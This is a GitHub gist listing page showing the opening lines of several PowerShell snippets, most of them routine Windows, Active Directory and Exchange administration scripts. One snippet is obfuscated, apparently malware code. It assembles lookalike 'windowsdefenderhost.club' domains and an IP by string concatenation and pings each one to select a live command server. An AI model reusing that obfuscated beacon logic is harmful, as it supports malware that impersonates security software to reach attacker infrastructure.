This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function New-Shortcut { | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory)] | |
[ValidateScript({ Test-Path -IsValid $_ })] | |
[string]$Path, | |
[Parameter(Mandatory, ValueFromPipeline)] | |
[ValidateScript({ Test-Path $_ })] | |
[string]$Target, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Exception = $_ | |
$ExceptionStack = @{ | |
OuterException = $_ | |
} | |
$Increment = 0 | |
while ($Exception.InnerException) { | |
$Increment++ | |
$Exception = $Exception.InnerException | |
$ExceptionStack["InnerException$Increment"] = $Exception | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using namespace System.Drawing | |
function Export-Png { | |
[CmdletBinding()] | |
[Alias('epng')] | |
param( | |
[Parameter( | |
Position = 0, | |
Mandatory, | |
ValueFromPipeline |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
foreach ($SMTPAddress in $SMTPs) { | |
$SMTPAddress | | |
Get-MoveRequest | | |
Get-MoveRequestStatistics | | |
Select DisplayName, @{ | |
Name = 'SMTP' | |
Expression = $SMTPAddress | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[CmdletBinding()] | |
param( | |
[Parameter(Position = 0)] | |
[ValidateNotNull()] | |
[PSCredential] | |
$Credential = [System.Management.Automation.PSCredential]::Empty, | |
[Parameter(Position = 1)] | |
[ValidateNotNull()] | |
[uri] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$se=@(('updat'+'e.w'+'ind'+'o'+'w'+'sdefe'+'nder'+'h'+'ost.club'),('i'+'nf'+'o.win'+'dows'+'de'+'f'+'enderhos'+'t.c'+'lub'),('8'+'7.'+'121.98.215')) | |
$nic=('www.w'+'ind'+'ow'+'sdefe'+'nderhost'+'.cl'+'ub') | |
foreach($t in $se) | |
{ | |
$pin=teSt-`Co`NNec`TIoN $t | |
if ($pin -ne $null) | |
{ | |
$nic=$t | |
break | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Data = Invoke-MySQLQuery -ComputerName k1000 -Credential $creds -Query $sql -Database ORG1 | | |
Where-Object DISK_NAME -MATCH 'Drive C:' | | |
ForEach-Object { | |
[PSCustomObject]@{ | |
'Computer Name' = $_.System_Name | |
'Percent Used' = $_.Percent_Used | |
'Disk Free' = $_.Disk_Free | |
'Disk Name' = $_.Disk_Name | |
'Disk Size' = $_.Disk_Size | |
'Disk Used' = $_.Disk_Used |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Select-Things { | |
[CmdletBinding()] | |
param( | |
[Parameter(Position = 0, Mandatory)] | |
[string[]] | |
$Param1 | |
) | |
if ($Param1 -contains "one") { | |
switch ($Param1) { | |
"two" { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
###COPY and find photos then move and copy to two locations then upload to exchange ## | |
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010; | |
$OU = "OU=domain,dc=com" | |
$MissingPhotos = Get-ADUser -SearchBase $OU -Filter * -Properties ThumbNailPhoto, SamAccountName, GivenName, Surname | | |
Where-Object ThumbnailPhoto -eq $null | | |
Select-Object SamAccountName, GivenName, Surname | | |
Sort-Object Surname, GivenName -Descending |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$TriggerParams = @{ | |
Daily = $true | |
At = '12am' | |
ErrorAction = 'Stop' | |
} | |
$SettingsParams = @{ | |
ExecutionTimeLimit = [TimeSpan]::FromHours(2) | |
ErrorAction = 'Stop' | |
} | |
$TaskParams = @{ |
OlderNewer